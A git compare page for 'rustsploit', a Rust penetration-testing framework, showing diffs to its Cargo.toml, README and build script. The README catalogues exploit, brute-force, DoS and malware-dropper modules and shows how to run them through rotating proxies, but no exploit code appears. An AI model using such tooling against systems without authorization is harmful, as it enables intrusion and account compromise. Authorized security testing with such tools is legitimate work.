Compare commits

..

7 Commits

Author SHA1 Message Date
S.B e05c253bcb Add Roundcube post-auth RCE exploit 2025-06-17 01:18:13 +02:00
S.B 48bde25147 Update Cargo.toml 2025-06-17 01:03:55 +02:00
S.B 25c77dcb3b Update ping_sweep.rs 2025-06-17 01:03:03 +02:00
S.B 070e807b3e Merge pull request #16 from s-b-repo/codex/add-multiple-scanner-modules
Add ping sweep and HTTP title scanner modules
2025-06-17 00:29:05 +02:00
S.B a942303323 Add new ping sweep and HTTP title scanners 2025-06-17 00:22:35 +02:00
S.B 6a4aa3a2ad Merge pull request #15 from s-b-repo/codex/improve-modules-and-optimize-code
Refine proxy selection and fix generator path
2025-06-17 00:07:54 +02:00
S.B 0b1c1a8c7a fix generator path and improve proxy selection 2025-06-17 00:06:52 +02:00
83 changed files with 2203 additions and 23549 deletions
+90 -106
View File
@@ -1,114 +1,98 @@
[package]
name = "rustsploit"
version = "0.3.5"
edition = "2024"
version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
ipnet = "2.11.0"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
#zte rce
# Add these to [dependencies]
aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
#avanti
url = "2.5.4"
semver = "1.0.26"
#stalk route full traceroute
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
#pingsweep
which = "8.0.0"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "0.5" # updated for edition 2024 compatibility
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+147 -379
View File
@@ -1,445 +1,213 @@
# Rustsploit 🛠️
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
---
### Goals & To Do lists
## Table of Contents
Convert exploits and add modules
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
---
## Highlights
-**Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
-**Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
-**Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
-**Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, Fortinet brute force modules with IPv6 and TLS support where applicable
-**Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root)
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
-**REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
-**Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
---
## Module Catalog
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, SSH user enumeration (timing attack), SSH password spray, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute, SNMP community string brute force, L2TP/IPsec brute force, Fortinet SSL VPN brute force |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
---
## Quick Start
### Requirements
```
sudo apt update
sudo apt install freerdp2-x11 # Required for the RDP brute force module
# completed
```
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
added stalkroute a traceroute with firewall evasion requires root
added malware dropper narruto dropper
added refactored and fixed and improve alot of modules
added added new version of payloadgen
added smtp bruteforcer
added pop3 bruteforcer
added zte zte_zxv10_h201l_rce_authenticationbypass
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
added apache_tomcat cve_2025_24813_apache_tomcat_rce
added apache_tomcat catkiller_cve_2025_31650
added palto_alto CVE-2025-0108. auth bypass
added acm_5611_rce
added zabbix_7_0_0_sql_injection
added cve_2024_7029_avtech_camera
added pachev_ftp_path_traversal_1_0
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
### Clone + Build
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added ping_sweep network scanner
added http_title_scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
```
---
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11
for rdp bruteforce modudle
```
```
### 📦 Clone the Repository
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
```
### 🛠️ Build the Project
```
cargo build
```
### Run (Interactive Shell)
```
To build and run:
```
cargo run
```
### Install (optional)
```
cargo install --path .
To install:
```
cargo install
```
---
## Docker Deployment
### 🖥️ Run in Interactive Shell Mode
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
Launch the interactive RSF shell:
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```
python3 scripts/setup_docker.py
```
cargo run
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
4. Toggle hardening mode and tune the IP limit if desired.
5. Generate:
- `docker/Dockerfile.api` (build + serve stages)
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
### Non-Interactive / CI Usage
All prompts have CLI equivalents:
```
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
--ip-limit 5 \
--skip-up \
--force \
--non-interactive
```
This produces the Docker assets but skips the compose launch. To start the stack later:
```
docker compose -f docker-compose.rustsploit.yml up -d --build
```
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
---
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
Once inside the shell:
```text
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
rsf> help
rsf> modules
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
```
Example session:
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
---
## CLI Usage
### 🔧 Run in CLI Mode
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
#### ▶ Exploit
```
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
# Scanner
#### 🧪 Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## API Server Mode
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
### Starting the API Server
```
# Basic API server (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening enabled (auto-rotate API key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
# Custom port
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
#### 🔐 Credentials
```
### API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
### API Endpoints
All endpoints except `/health` require authentication via the `Authorization` header:
```
# Bearer token format
Authorization: Bearer your-api-key-here
# Or ApiKey format
Authorization: ApiKey your-api-key-here
```
#### Public Endpoints
- **`GET /health`** - Health check (no authentication required)
```
curl http://localhost:8080/health
```
#### Protected Endpoints
- **`GET /api/modules`** - List all available modules
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
```
- **`POST /api/run`** - Execute a module on a target
```
curl -X POST -H "Authorization: Bearer your-api-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
- **`GET /api/status`** - Get API server status and statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
```
- **`POST /api/rotate-key`** - Manually rotate the API key
```
curl -X POST -H "Authorization: Bearer your-api-key" \
http://localhost:8080/api/rotate-key
```
- **`GET /api/ips`** - Get all tracked IP addresses with details
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
```
- **`GET /api/auth-failures`** - Get authentication failure statistics
```
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
```
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"raw_charset": "",
"raw_min_length": 0,
"raw_max_length": 0,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
### Security Features
#### Input Validation & Security
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
- **Target Validation:** All targets are validated for length, control characters, and path traversal
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
#### Rate Limiting
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
- Blocked IPs receive HTTP `429 Too Many Requests` responses
- Failed attempts are logged to both terminal and log file
- Counter resets automatically after the block period expires
- Successful authentication resets the failure counter for that IP
- Automatic cleanup of expired blocks and entries older than 1 hour
#### Hardening Mode
When `--harden` is enabled:
- Tracks unique IP addresses accessing the API
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
- Logs all rotation events to terminal and `rustsploit_api.log`
- Clears IP tracking after key rotation
- Automatic pruning when tracker exceeds 100,000 entries
#### Logging
All API activity is logged to:
- **Terminal:** Real-time console output with colored status messages
- **Log File:** `rustsploit_api.log` in the current working directory
Log entries include:
- API requests and responses
- Authentication failures and rate limiting events
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
### Example API Workflow
```
# 1. Start the API server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Check health
curl http://localhost:8080/health
# 3. List available modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Run a port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View tracked IPs
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
---
## Proxy Workflow
## 🌐 Proxy Retry Logic (Shell Mode)
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
---
## How Modules Are Discovered
## 📂 Module System
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
```rust
pub async fn run(target: &str) -> anyhow::Result<()>;
Each module must define:
```
pub async fn run(target: &str) -> Result<()>
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
Optional:
```
pub async fn run_interactive(target: &str) -> Result<()>
```
---
## Contributing
## 🧼 Shell State
Contributions are welcome! High-level suggestions:
The shell keeps:
- Current module
- Current target
- Proxy list + state
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
No session state is saved — everything resets on restart.
---
## Credits
## 💡 Want to Add a Module?
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
## 👥 Credits
- **wordlists*: seclists & me
---
+57 -174
View File
@@ -1,213 +1,96 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
}
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
)?;
).unwrap();
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
)?;
}
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
if !dir.is_dir() {
return Ok(());
}
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
} else {
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
}
}
}
}
Ok(())
}
-3082
View File
File diff suppressed because it is too large Load Diff
+275 -285
View File
@@ -1,351 +1,341 @@
# 🛠️ Rustsploit Developer Guide
